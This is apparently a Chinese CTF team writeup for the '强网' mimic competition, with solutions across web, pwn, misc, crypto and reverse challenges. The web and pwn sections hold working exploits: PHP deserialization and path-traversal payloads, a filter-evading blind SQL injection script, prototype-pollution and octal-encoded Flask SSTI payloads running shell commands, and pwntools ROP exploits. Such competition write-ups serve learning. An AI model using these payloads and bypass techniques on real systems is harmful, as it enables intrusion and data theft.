Back

“强网”拟态 Writeup by or4nge

CTF大型舞台剧(懂的都懂

Web

ezus

第一层,使用中文绕过basename即可。​ http://172.51.223.142/index.php/tm.php/%E6%88%91?source​ 第二层的目标是进@include,读hint.php。​ 三个需要绕过的东西:构建反序列化受限用字符逃逸,wakeup用增加属性数,strpos用路径穿越。

username=@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@&password=";s:11:"%00*%00password";O:5:"order":3:{s:1:"f";s:83:"php://filter/read=convert.base64-encode/resource=/var/www/html/pass/../try/../index";s:4:"hint";s:16:"http://locathost";}}}​

第三层,用一个不存在的协议名绕parse_url(parse_url会解析出host,但file_get_contents会将其解析为路径),路径穿越读取即可。​

username=@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@&password=";s:11:"%00*%00password";O:5:"order":3:{s:1:"f";s:82:"php://filter/read=convert.base64-encode/resource=/var/www/html/pass/../try/../hint";s:4:"hint";s:46:"0://prankhub/../../../../../f1111444449999.txt";}}}

Popsql

时间盲注,但过滤了非常多的东西。​ sleep被过滤,用benchmark替代,进行延时。​ username=admin&password='/**/or/**/if(1,benchmark(1000000000,1),1)#(验证时间盲注存在) =,like,regexp全没了,用取模运算代替,进行逐字符判断;​ ascii被过滤了,用ord代替;​ substr、left被过滤了,用right代替。​ 此时若提取出的字符是不是模数的倍数,则不会延时,否则会延时。因为这样会时间特别长,在外面加个not。 username=admin&password='/**/or/**/if((not(select(ord(right(database(),%d)))%%(%d))),benchmark(1000000000,1),1)#" % (i,j)(获取数据库名 ctfgame)​ username=admin&password='/**/or/**/if((not(select(ord(right(version(),%d)))%%(%d))),benchmark(1000000000,1),1)#" % (i,j)(获取版本号 5.7.39)​ information被滤,使用sys.schema_table_statistics_with_buffer库获取表名。​ username=admin&password='/**/or/**/if(not((select/**/ord(right(group_concat(table_name),%d))%%(%d)/**/from/**/sys.schema_table_statistics_with_buffer)),benchmark(1000000000,1),1)#" % (i,j) (获取表名 Fl49ish3re)​ 尝试无列名注入,但没有union;赌表里只有一列,发现不是。​ username=admin&password='/**/or/**/if((ord(right((select/**/*/**/from/**/Fl49ish3re/**/limit/**/0,1),1))%(52)),benchmark(1000000000,1),1);(表里只有一列情况下的无列名注入)​ 网上搜索,找到flag所处的列名f1aG123​ https://hwwg.github.io/2021/09/17/2021%E7%AC%AC%E4%BA%94%E7%A9%BA%E9%97%B4%E5%A4%A7%E8%B5%9B/​ 获取flag。​ "username=admin&password='/**/or/**/if(not(ord(right((select/**/group_concat(f1aG123)/**/from/**/Fl49ish3re),%d))%%(%d)),benchmark(1000000000,1),1)#" % (i, ord(j))

import time​
​
import requests​
import string​
​
headers = {"Content-Type":"application/x-www-form-urlencoded"}​
url="http://172.51.223.119/index.php"​
proxy={"http":"http://127.0.0.1:8080"}​
result=""​
​
record=0​
s=string.digits+string.ascii_letters+"{}_"​
for i in range(1,200):​
    for j in s:​
        #data = "username=admin&password='/**/or/**/if(1,benchmark(1000000000,1),1)#"​
        #data = "username=admin&password='/**/or/**/if((not(select(ord(right(database(),%d)))%%(%d))),benchmark(1000000000,1),1)#" % (i,j)​
        #data = "username=admin&password='/**/or/**/if((not(select(ord(right(version(),%d)))%%(%d))),benchmark(1000000000,1),1)#" % (i,j)​
        #data = "username=admin&password='/**/or/**/if(not((select/**/ord(right(group_concat(table_name),%d))%%(%d)/**/from/**/sys.schema_table_statistics_with_buffer)),benchmark(1000000000,1),1)#" % (i,j)​
        ##data = "username=admin&password='/**/or/**/if((select/**/ord(right(group_concat(concat(table_name,column_name)),%d))%%(%d)/**/from/**/sys.schema_auto_increment_columns),benchmark(1000000000,1),1)#" % (i, j)​
        data="username=admin&password='/**/or/**/if(not(ord(right((select/**/group_concat(f1aG123)/**/from/**/Fl49ish3re),%d))%%(%d)),benchmark(1000000000,1),1)#" % (i, ord(j))​
        t = time.time()​
        #req=requests.post(url,data=data,proxies=proxy,headers=headers)​
        req = requests.post(url, data=data,headers=headers)​
        if time.time()-t>1:​
            record = ord(j)​
            break​
        print(data)​
        print(time.time() - t)​
​
    result+=chr(record)​
    print(result)

WHOYOUARE

原型链污染​ payload:

{"user":"{\"constructor\":{\"prototype\":{\"1\":\"cat /flag\"}},\"command\":[]}"}

污染source的原型,在key=1时通过source原型的值覆盖原来那个[-c,id]里面的id为自己的可控命令,实现任命令执行。​

request.user =  { username: 'guest', command: [ '-c', 'cat /flag' ] }

没有人比我更懂py​

flask_SSTI注入,过滤了所有字母。​ 八进制绕过即可,剩下的和NewStar新生赛第四周那题差不多。

x="原始payload"​
y=''​
s=string.ascii_letters​
for i in range(len(x)):​
    if x[i] in s:​
        y+='\%o' % ord(x[i])​
    else:​
        y+=x[i]​
print(y)
{{''['__\143\154\141\163\163__']['__\142\141\163\145\163__']['__\147\145\164\151\164\145\155__'](0)['__\163\165\142\143\154\141\163\163\145\163__']()['__\147\145\164\151\164\145\155__'](132)['__\151\156\151\164__']['__\147\154\157\142\141\154\163__']['__\147\145\164\151\164\145\155__']('\160\157\160\145\156')('\143\141\164 /\146\154\141\147')['\162\145\141\144']()}}

Pwn

bfbf

from pwn import *​
import sys​
# context.log_level = "debug"​
​
if len(sys.argv) < 2:​
    debug = True​
else:​
    debug = False​
​
if debug:​
    p = process('./pwn')​
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")​
else:​
    p = remote("172.51.223.12", 9999)​
    libc = ELF("./libc.so.6")​
​
ru = lambda x : p.recvuntil(x)​
sn = lambda x : p.send(x)​
rl = lambda : p.recvline()​
sl = lambda x : p.sendline(x)​
rv = lambda x : p.recv(x)​
sa = lambda a,b : p.sendafter(a,b)​
sla = lambda a,b : p.sendlineafter(a, b)​
​
def debugf(b=0):​
    if debug:​
        if b:​
            gdb.attach(p,"b *$rebase({b})".format(b = hex(b)))​
        else:​
            gdb.attach(p)​
​
context.log_level = 'debug'​
main_ret = 0x1982​
main_read = 0x17e3​
​
rl()​
​
payload = b''​
payload += b'>' * (0x228-3*8)​
​
​
​
payload += b'>' * (4*8)​
payload += b'>' * 0x8​
# libc​
payload += b'.'​
for i in range(5):​
    payload += b'>'​
    payload += b'.'​
payload += b'>' * 3​
​
payload += b'<'*8​
​
payload += b',>'*(8* 30)​
# payload += b'<' *0x58​
​
debugf(0x1982)​
# raw_input('> ')​
sl(payload)​
sleep(1)​
leak = u64(rv(6) + b'\x00'*2)​
libc.address = leak  -0x24083​
warning(hex(libc.address))​
r12_ret = 0x000000000002f709 + libc.address​
rdi_ret = 0x0000000000023b6a+libc.address​
rsi_ret = 0x000000000002601f + libc.address​
one = 0xe3afe + libc.address​
ret = 0x0000000000022679 + libc.address​
rcx_rbx = 0x000000000010257e+libc.address​
rdx_ret  =  0x0000000000142c92 + libc.address​
binsh = next(libc.search(b'/bin/sh\x00'))​
flag = libc.address + 0x1ec000 + 0x100​
rax = 0x0000000000036174 + libc.address​
syscall = 0x00000000000630a9 + libc.address​
​
​
pay = p64(rdi_ret) + p64(0) ​
pay += p64(rsi_ret) + p64(flag)​
pay += p64(rdx_ret) + p64(8)​
pay += p64(rax) + p64(0)​
pay += p64(syscall)​
​
pay += p64(rdi_ret) + p64(flag) ​
pay += p64(rsi_ret) + p64(0)​
pay += p64(rdx_ret) + p64(0)​
pay += p64(rax) + p64(2)​
pay += p64(syscall)​
​
pay += p64(rdi_ret) + p64(1) ​
pay += p64(rsi_ret) + p64(3)​
pay += p64(rdx_ret) + p64(0x0)​
pay += p64(rcx_rbx) + p64(0x20)*2​
pay += p64(rax) + p64(0x28)​
pay += p64(syscall)​
​
p.send(pay)​
p.send(b'flag\x00\n')​
# p.sendline('cat flag')​
​
p.interactive()

Misc

welcome

签到,复制粘贴。​

S3qUenCEs​

序列按照模k划分等价类,可以推导出一次操作会让所有等价类的其中一位取反,即让等价类的全部奇偶性整体改变,故分类讨论最终取反数量是奇数还是偶数,在等价类内排序贪心取数即可。​

#include<bits/stdc++.h>​
using namespace std;​
#define mem(a,b) memset(a,b,sizeof(a))​
typedef long long LL;​
typedef pair<int,int> PII;​
#define X first​
#define Y second​
inline LL read()​
{​
        LL x=0,f=1;char c=getchar();​
        while(!isdigit(c)){if(c=='-')f=-1;c=getchar();}​
        while(isdigit(c)){x=x*10+c-'0';c=getchar();}​
        return x*f;​
}​
const int maxn=1000010;​
int n,k;​
LL a[maxn],ans1,ans2;​
vector <LL> V[maxn],pre[maxn];​
int main()​
{​
        freopen("input.txt","r",stdin);​
        n=read();k=read();​
        for(int i=0;i<n;i++)a[i]=read(),V[i%k].push_back(a[i]);​
        for(int i=0;i<k;i++)sort(V[i].begin(),V[i].end());​
        for(int i=0;i<k;i++){​
                LL tmp=0;​
                for(auto u: V[i]){​
                        tmp+=u;​
                        pre[i].push_back(tmp);​
                }​
        }​
        for(int i=0;i<k;i++){​
                LL now_ans=pre[i][V[i].size()-1];​
                for(int j=2;j<=V[i].size();j+=2){​
                        now_ans=max(now_ans,pre[i][V[i].size()-1]-2*pre[i][j-1]);​
                }​
                ans1+=now_ans;​
        }​
        for(int i=0;i<k;i++){​
                LL now_ans=pre[i][V[i].size()-1]-2*pre[i][0];​
                for(int j=3;j<=V[i].size();j+=2){​
                        now_ans=max(now_ans,pre[i][V[i].size()-1]-2*pre[i][j-1]);​
                }​
                ans2+=now_ans;​
        }​
        printf("%lld\n",max(ans1,ans2));​
        return 0;​
}​
from pwn import *​
import re​
import os​
​
r = remote("172.51.223.76",9999)​
​
​
print(r.recv())​
​
for i in range(100):​
        s = str(r.recvuntil(b"Challenge Input:"))​
        ss = r.recvuntil(b"Give me your output")​
        with open('input.txt','wb') as f:​
            f.write(ss)​
        f.close()​
​
        ans = os.popen(".\\a.exe").read().strip() # gcc编译sol.cpp得到a.exe​
        print(ans)​
        r.sendline(ans.encode())​
print(r.recv())​
print(r.recv())

Babymisc​

猜数问题,需要在15步之内猜出一个六位数,可以采用二分法。​ 由于六位数二分法最多需要19次才能完全猜中,因此无法在100000-999999范围内猜。可以找一个长度为20000-30000的范围进行查找,若答案落在该范围内,则在15步内可以精确命中。​ 多运行几次脚本,直至某一次答案落在范围内即可。

from pwn import *​
context.log_level="debug"​
import os​
while True:​
    r = remote("172.51.223.233",9999)​
    r.recvuntil(b"select start\n>")​
    r.sendline('Y'.encode())​
    left = 500000​
    right = 530000​
    low, up = False, False​
    s = str(r.recvuntil(b"enter a number:"))​
    k = (left + right) // 2​
    r.sendline(str(k).encode())​
    for i in range(14):​
        s = str(r.recvuntil(b"enter a number:"))​
        if "low" in s:​
            left = k​
            low = True​
        else:​
            right = k​
            up = True​
        k = (left + right) // 2​
        r.sendline(str(k).encode())​
    res = str(r.recv())​
    print(up, low)​
    if up == True and low == True:​
        break​
    if not "lost" in res:​
        print(res)​
        break

Crypto

weekrandom

运行下源程序发现每一轮随机数result的后四位和x的后四位一样,前四位是sha256(x)哈希结果的[-8:-4]切片,x的十六进制串大概只有8-9位。​ 因此先随机交个数拿到第一个result,在0-0xfffff中爆破x的前五位和result后四位拼一下,算sha256的[-8:-4]是否等于result的前四位。​ 只算一轮的话可能有多个x满足条件,可以再提交一个数得到第二轮可能的x,看看第一轮的所有可能的值i中是否有一个i满足(i^2//100) % 10000000000在第二轮可能的值中,即可找到x链。

from pwn import *​
from hashlib import sha256​
from re import findall​
​
​
def next(x):​
    x = int((x ** 2) // (10 ** (4 // 2))) % 10000000000​
    high = (int(hashlib.sha256(str(x).encode()).hexdigest(),16) >> 16) & (2 ** 16 - 1)​
    low = x & (2 ** 16 - 1)​
    result = high << 16 | low​
    return x,result​
​
​
​
r = remote("172.51.223.64",9998)​
alp = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"​
​
Pow = str(r.recv())​
​
given = Pow[14:30]​
target = Pow[35:-18]​
​
for i in alp:​
    for j in alp:​
        for k in alp:​
            for l in alp:​
                if sha256((i+j+k+l+given).encode()).hexdigest() == target:​
                    r.sendline((i+j+k+l).encode())​
                    break​
​
print(i+j+k+l)​
s = r.recv()​
print(s)​
​
r.sendline('1'.encode())​
ininum = int(findall('\d+',str(r.recv()))[0])​
print(ininum)​
xlow = hex(ininum)[2:].zfill(8)[4:]​
thash = hex(ininum)[2:].zfill(8)[:4]​
pos1 = []​
for i in range(0xfffff):​
    x = int(hex(i)[2:].zfill(5) + xlow,16)​
    allhash = hashlib.sha256(str(x).encode()).hexdigest()​
    if allhash[-8:-4] == thash:​
        pos1.append(x)​
​
print(pos1)​
​
r.sendline('1'.encode())​
ininum = int(findall('\d+',str(r.recv()))[0])​
print(ininum)​
xlow = hex(ininum)[2:].zfill(8)[4:]​
thash = hex(ininum)[2:].zfill(8)[:4]​
pos2 = []​
for i in range(0xfffff):​
    x = int(hex(i)[2:].zfill(5) + xlow,16)​
    allhash = hashlib.sha256(str(x).encode()).hexdigest()​
    if allhash[-8:-4] == thash:​
        pos2.append(x)​
​
print(pos2)​
​
for i in pos1:​
    if (i**2 // 100) % 10000000000 in pos2:​
        inix = i​
        break​
​
print(inix)​
​
​
res = []​
for i in range(100):​
    inix,result = next(inix)​
    if i != 0:​
        res.append(result)​
​
for i in range(98):​
    r.sendline(str(res[i]).encode())​
    print(r.recv())

Reverse

Indir

通过给的附件,加上分析发现是虚拟机,有一大堆跳转混淆,将寄存器跳转改为真实地址跳转,main函数如下​

虚拟机解析过程在sub_402780​ 分析写出反汇编器​

ctx=open('code','rb').read()​
# for i in range(0,0x35c,4):​
#     instr=int.from_bytes(ctx[i:i+4],'little')​
#     datatype=(instr>>22)&7​
#     if datatype!=6 and datatype!=5 and datatype!=3:​
#         print(i,datatype)​
disasm=''​
for i in range(0,0x35c,4):​
    instr=int.from_bytes(ctx[i:i+4],'little')​
    mnemonic=(instr>>25)&0xf​
    datatype=(instr>>22)&7​
    opstr=''​
    disasm+=str(i)+':   '​
    if mnemonic==0:​
        disasm+='ror'​
    elif mnemonic==1:​
        disasm+='ld'​
    elif mnemonic==2:​
        disasm+='io'​
    elif mnemonic==3:​
        disasm+='sub'​
    elif mnemonic==4:​
        disasm+='mod'​
    elif mnemonic==5:​
        disasm+='div'​
    elif mnemonic==6:​
        disasm+='mov'​
    elif mnemonic==7:​
        disasm+='rsh'​
    elif mnemonic==8:​
        disasm+='st'​
    elif mnemonic==9:​
        disasm+='ret'​
    elif mnemonic==10:​
        disasm+='lsh'​
    elif mnemonic==11:​
        disasm+='add'​
    elif mnemonic==12:​
        disasm+='mul'​
    elif mnemonic==13:​
        disasm+='call'​
    elif mnemonic==14:​
        disasm+='rol'​
    elif mnemonic==15:​
        disasm+='jmp'​
    ​
    if mnemonic!=13:​
        disasm+='\t'​
​
    if datatype==3:​
        imm=(instr>>6)&0xffff​
        opstr=str(imm)​
    elif datatype==5:​
        r1=(instr>>19)&7​
        imm=(instr>>3)&0xffff​
        r2=(instr)&7​
        opstr='r'+str(r1)+','+str(imm)​
    elif datatype==6:​
        r1=(instr>>19)&7​
        r2=(instr>>16)&7​
        imm=(instr)&0xffff​
        opstr='r'+str(r1)+',r'+str(r2)+','+str(imm)​
    elif datatype==7:​
        r1=(instr>>19)&7​
        r2=(instr>>16)&7​
        r3=(instr>>13)&7​
        opstr='r'+str(r1)+',r'+str(r2)+',r'+str(r3)​
​
    disasm+='\t'+opstr+'\n'​
​
open('disas','w').write(disasm)

得到反汇编代码,分析即可得解​

0:   mov        r0,860​
4:   call   740                   #输出​
8:   mov        r0,4096​
12:   call  692​
16:   mov       r0,4096​
20:   mov       r1,0​
24:   mul       r2,r1,4​
28:   ld        r3,r0,r2​
32:   add       r4,r1,6​
36:   mod       r4,r4,16​
40:   mul       r4,r4,4​
44:   ld        r5,r0,r4​
48:   ror       r5,r5,6​
52:   sub       r3,r3,r5​
56:   st        r3,r0,r2​
60:   add       r1,r1,1​
64:   mul       r2,r1,4​
68:   ld        r3,r0,r2​
72:   add       r4,r1,8​
76:   mod       r4,r4,16​
80:   mul       r4,r4,4​
84:   ld        r5,r0,r4​
88:   rol       r5,r5,4​
92:   add       r3,r3,r5​
96:   st        r3,r0,r2​
100:   add      r1,r1,1​
104:   mul      r2,r1,4​
108:   ld       r3,r0,r2​
112:   add      r4,r1,10​
116:   mod      r4,r4,16​
120:   mul      r4,r4,4​
124:   ld       r5,r0,r4​
128:   rol      r5,r5,5​
132:   add      r3,r3,r5​
136:   st       r3,r0,r2​
140:   add      r1,r1,1​
144:   mul      r2,r1,4​
148:   ld       r3,r0,r2​
152:   add      r4,r1,1​
156:   mod      r4,r4,16​
160:   mul      r4,r4,4​
164:   ld       r5,r0,r4​
168:   rol      r5,r5,3​
172:   add      r3,r3,r5​
176:   st       r3,r0,r2​
​
180:   add      r1,r1,1​
184:   mul      r2,r1,4​
188:   ld       r3,r0,r2​
192:   add      r4,r1,4​
196:   mod      r4,r4,16​
200:   mul      r4,r4,4​
204:   ld       r5,r0,r4​
208:   rol      r5,r5,10​
212:   add      r3,r3,r5​
216:   st       r3,r0,r2​
​
220:   add      r1,r1,1​
224:   mul      r2,r1,4​
228:   ld       r3,r0,r2​
232:   add      r4,r1,10​
236:   mod      r4,r4,16​
240:   mul      r4,r4,4​
244:   ld       r5,r0,r4​
248:   ror      r5,r5,9​
252:   sub      r3,r3,r5​
256:   st       r3,r0,r2​
​
260:   add      r1,r1,1​
264:   mul      r2,r1,4​
268:   ld       r3,r0,r2​
272:   add      r4,r1,2​
276:   mod      r4,r4,16​
280:   mul      r4,r4,4​
284:   ld       r5,r0,r4​
288:   ror      r5,r5,2​
292:   sub      r3,r3,r5​
296:   st       r3,r0,r2​
​
300:   add      r1,r1,1​
304:   mul      r2,r1,4​
308:   ld       r3,r0,r2​
312:   add      r4,r1,2​
316:   mod      r4,r4,16​
320:   mul      r4,r4,4​
324:   ld       r5,r0,r4​
328:   rol      r5,r5,12​
332:   add      r3,r3,r5​
336:   st       r3,r0,r2​
​
340:   add      r1,r1,1​
344:   mul      r2,r1,4​
348:   ld       r3,r0,r2​
352:   add      r4,r1,7​
356:   mod      r4,r4,16​
360:   mul      r4,r4,4​
364:   ld       r5,r0,r4​
368:   ror      r5,r5,1​
372:   sub      r3,r3,r5​
376:   st       r3,r0,r2​
​
380:   add      r1,r1,1​
384:   mul      r2,r1,4​
388:   ld       r3,r0,r2​
392:   add      r4,r1,5​
396:   mod      r4,r4,16​
400:   mul      r4,r4,4​
404:   ld       r5,r0,r4​
408:   ror      r5,r5,11​
412:   sub      r3,r3,r5​
416:   st       r3,r0,r2​
​
420:   add      r1,r1,1​
424:   mul      r2,r1,4​
428:   ld       r3,r0,r2​
432:   add      r4,r1,1​
436:   mod      r4,r4,16​
440:   mul      r4,r4,4​
444:   ld       r5,r0,r4​
448:   ror      r5,r5,10​
452:   sub      r3,r3,r5​
456:   st       r3,r0,r2​
​
460:   add      r1,r1,1​
464:   mul      r2,r1,4​
468:   ld       r3,r0,r2​
472:   add      r4,r1,1​
476:   mod      r4,r4,16​
480:   mul      r4,r4,4​
484:   ld       r5,r0,r4​
488:   rol      r5,r5,6​
492:   add      r3,r3,r5​
496:   st       r3,r0,r2​
​
500:   add      r1,r1,1​
504:   mul      r2,r1,4​
508:   ld       r3,r0,r2​
512:   add      r4,r1,8​
516:   mod      r4,r4,16​
520:   mul      r4,r4,4​
524:   ld       r5,r0,r4​
528:   ror      r5,r5,15​
532:   sub      r3,r3,r5​
536:   st       r3,r0,r2​
​
540:   add      r1,r1,1​
544:   mul      r2,r1,4​
548:   ld       r3,r0,r2​
552:   add      r4,r1,11​
556:   mod      r4,r4,16​
560:   mul      r4,r4,4​
564:   ld       r5,r0,r4​
568:   ror      r5,r5,8​
572:   sub      r3,r3,r5​
576:   st       r3,r0,r2​
​
580:   add      r1,r1,1​
584:   mul      r2,r1,4​
588:   ld       r3,r0,r2​
592:   add      r4,r1,13​
596:   mod      r4,r4,16​
600:   mul      r4,r4,4​
604:   ld       r5,r0,r4​
608:   rol      r5,r5,1​
612:   add      r3,r3,r5​
616:   st       r3,r0,r2​
​
620:   add      r1,r1,1​
624:   mul      r2,r1,4​
628:   ld       r3,r0,r2​
632:   add      r4,r1,14​
636:   mod      r4,r4,16​
640:   mul      r4,r4,4​
644:   ld       r5,r0,r4​
648:   ror      r5,r5,1​
652:   sub      r3,r3,r5​
656:   st       r3,r0,r2​
​
660:   add      r1,r1,1​
664:   mov      r0,4096​
668:   mov      r1,912​
672:   mov      r2,64​
676:   call 112​
680:   sub      r0,r0,0​
684:   jmp      8​
688:   mov      r0,884​
692:   jmp      4​
696:   mov      r0,894​
700:   call 44​
704:   io       2​
​
708:   mov      r6,r0,r0​
712:   mov      r5,r0,r0​
716:   io       0​
720:   sub      r1,r0,10​
724:   jmp      8​
728:   sub      r0,r5,r6​
732:   ret      r0,r0,r0​
736:   st       r0,r6,0​
740:   add      r6,r6,1​
744:   jmp      65504​
​
748:   mov      r6,r0,r0​
752:   ld       r0,r6,0​
756:   rsh      r1,r0,8​
760:   lsh      r1,r1,8​
764:   sub      r0,r0,r1​
768:   sub      r1,r0,0​
772:   jmp      4​
776:   ret      r0,r0,r0​
780:   io       1​
784:   add      r6,r6,1​
788:   jmp      65496​
​
792:   mov      r3,0​
796:   jmp      44​
800:   ld       r4,r0,r3​
804:   rsh      r5,r4,8​
808:   lsh      r6,r5,8​
812:   sub      r4,r4,r6​
816:   ld       r5,r1,r3​
820:   rsh      r6,r5,8​
824:   lsh      r7,r6,8​
828:   sub      r5,r5,r7​
832:   sub      r4,r4,r5​
836:   jmp      12​
840:   add      r3,r3,1​
844:   sub      r4,r3,r2​
848:   jmp      65484​
852:   mov      r0,r4,r0​
856:   ret      r0,r0,r0​
def ror(a,b):​
    return (a>>b)|((a<<(32-b))&0xffffffff)​
​
def rol(a,b):​
    return ((a<<b)&0xffffffff)|(a>>(32-b))​
​
enc=open('code','rb').read()[0x390:0x3d0]​
enc=[int.from_bytes(enc[i:i+4],'little') for i in range(0,64,4)]​
enc[15]+=ror(enc[13],1)​
for i in range(16):​
    enc[i]&=0xffffffff​
enc[14]-=rol(enc[11],1)​
for i in range(16):​
    enc[i]&=0xffffffff​
enc[13]+=ror(enc[8],8)​
for i in range(16):​
    enc[i]&=0xffffffff​
enc[12]+=ror(enc[4],15)​
for i in range(16):​
    enc[i]&=0xffffffff​
enc[11]-=rol(enc[12],6)​
for i in range(16):​
    enc[i]&=0xffffffff​
enc[10]+=ror(enc[11],10)​
for i in range(16):​
    enc[i]&=0xffffffff​
enc[9]+=ror(enc[14],11)​
for i in range(16):​
    enc[i]&=0xffffffff​
enc[8]+=ror(enc[15],1)​
for i in range(16):​
    enc[i]&=0xffffffff​
enc[7]-=rol(enc[9],12)​
for i in range(16):​
    enc[i]&=0xffffffff​
enc[6]+=ror(enc[8],2)​
for i in range(16):​
    enc[i]&=0xffffffff​
enc[5]+=ror(enc[15],9)​
for i in range(16):​
    enc[i]&=0xffffffff​
enc[4]-=rol(enc[8],10)​
for i in range(16):​
    enc[i]&=0xffffffff​
enc[3]-=rol(enc[4],3)​
for i in range(16):​
    enc[i]&=0xffffffff​
enc[2]-=rol(enc[12],5)​
for i in range(16):​
    enc[i]&=0xffffffff​
enc[1]-=rol(enc[9],4)​
for i in range(16):​
    enc[i]&=0xffffffff​
enc[0]+=ror(enc[6],6)​
for i in range(16):​
    enc[i]&=0xffffffff​
print(list(map(hex,enc)))​
from libnum import n2s​
print(b''.join(list(map(n2s,enc))))​
k = "}ll4c_7c3r1dn1_dn4_hcn4rb_7c3r1dn1_h71w_mv{galf"[::-1]​
print(k)​
s=[0]*20​
i=0​
# s[0]-=s[6]>>>6​
# s[1]+=s[9]<<<4​
# s[2]+=s[12]<<<5​
# s[3]+=s[4]<<<3​
# s[4]+=s[8]<<<10​
# s[5]-=s[15]>>>9​
# s[6]-=s[8]>>>2​
# s[7]+=s[9]<<<12​
# s[8]-=s[15]>>>1​
# s[9]-=s[14]>>>11​
# s[10]-=s[11]>>>10​
# s[11]+=s[12]<<<6​
# s[12]-=s[4]>>>15​
# s[13]-=s[8]>>>8​
# s[14]+=s[11]<<<1​
# s[15]-=s[13]>>>1

comeongo

动态调试分析代码即可知道,源代码分为两处check:maincheck1和maincheck2,第一处check将用户名前八字节和密码前八字节进行base58,即main_runtime_Encoding函数​

main_check2首先将用户名8~12字节+字符‘vG’+密码10~12字节拼接做base64,即main_Encoding函数​,再做一些字符ascii值加减,即main_encryptBytes函数,最后比较​ 提取对应字符​

user='GoM0bi13'+'_BingGo@'​
psw='G3tItEzF'+'orRevG0!'​
print(user)​
print(psw)

输入验证​,然后求出md5即可​

Mimic

pwn1

from pwn import *​
​
context.log_level = 'debug'​
# context.terminal = ['tmux', 'splitw', '-h', '-F', '#{pane_pid}', '-P']​
​
p = process('./pwn1')​
​
getshell_addr = 0x0A00​
func_func_addr = 0x0A94​
​
pop_rdi_ret = 0xc73​
call_system = 0xa2c​
binsh_addr = 0x202068​
​
p.recvuntil(b'try something\n')​
p.sendline(b'1')​
​
p.recvuntil(b'some tricks\n')​
func_addr = p.recvline()​
func_addr = int(func_addr.strip(), 16)​
print (f'func_addr: {hex(func_addr)}')​
​
base_addr = func_addr - func_func_addr​
​
p.sendline(b'2')​
p.recvuntil(b'hello')​
​
p.sendline(b'a' * 0xc8)​
p.recvline()​
p.recvline()​
canary = p.recv(7)​
print (f'canary: {canary}')​
gdb.attach(p, 'b *$rebase(0xb03)')​
​
payload = p64(base_addr + pop_rdi_ret)​
payload += p64(base_addr + binsh_addr)​
payload += p64(base_addr + call_system)​
​
p.sendline(b'a' * 0xc8 + b'\x00' + canary + b'b' * 8 + payload)​
​
p.interactive()

pwn1-1

+---------------+​
|.   index.     |​
+---------------+​
|    buffer     |​
+---------------+​
|.   &buffer.   |​
+---------------+​
|    &index.    |​
+---------------+

泄漏&buffer​ 修改&buffer同时修改&index​ 写入payload

from pwn import *​
​
context.log_level = 'debug'​
context.terminal = ['tmux', 'splitw', '-h', '-F', '#{pane_pid}', '-P']​
​
p = process('./pwn1-1')​
​
func_func_addr = 0x12A0​
pop_rdi_ret = 0x1943​
call_system = 0x11A2​
binsh_addr = 0x4050​
​
p.recvuntil(b'try something\n')​
p.sendline(b'1')​
​
p.recvuntil(b'some tricks\n')​
func_addr = p.recvline()​
func_addr = int(func_addr.strip(), 16)​
print (f'func_addr: {hex(func_addr)}')​
​
base_addr = func_addr - func_func_addr​
​
p.sendline(b'2')​
p.recvuntil(b'hello')​
​
gdb.attach(p, 'b *$rebase(0x1423)')​
p.sendline(b'a' * (0xe0 - 1))​
p.recvline()​
p.recvline()​
buf_value = u64(p.recv(6) + b'\x00\x00')​
print (f'buf = {hex(buf_value)}')​
​
payload = p64(base_addr + pop_rdi_ret)​
payload += p64(base_addr + binsh_addr)​
payload += p64(base_addr + call_system)​
# p.sendline(payload)​
p.sendline(p64(1) + b'a' * (0xe0 - 8) + p64(buf_value + 0xf8) + p64(buf_value) + b'b' * 8 + payload)​
# p.recvline()​
​
p.interactive()

web_mimic

Ctrl+U在源码中看到NTLM hash和encrypt word,NTLM hash在线解密得到密钥123,DES在线解密密文得到以下信息:​

1.maybe used first url get random:​
/mimic_storage​
​
​
2.maybe used second url get flag:​
/getflag?sec=random&path=xxxx​
​
xxx is:​
bAzlsD1ChiFW5eMC5tUokHErPkdjqARE

按照步骤拿到random、xxx,url传参拿到flag。​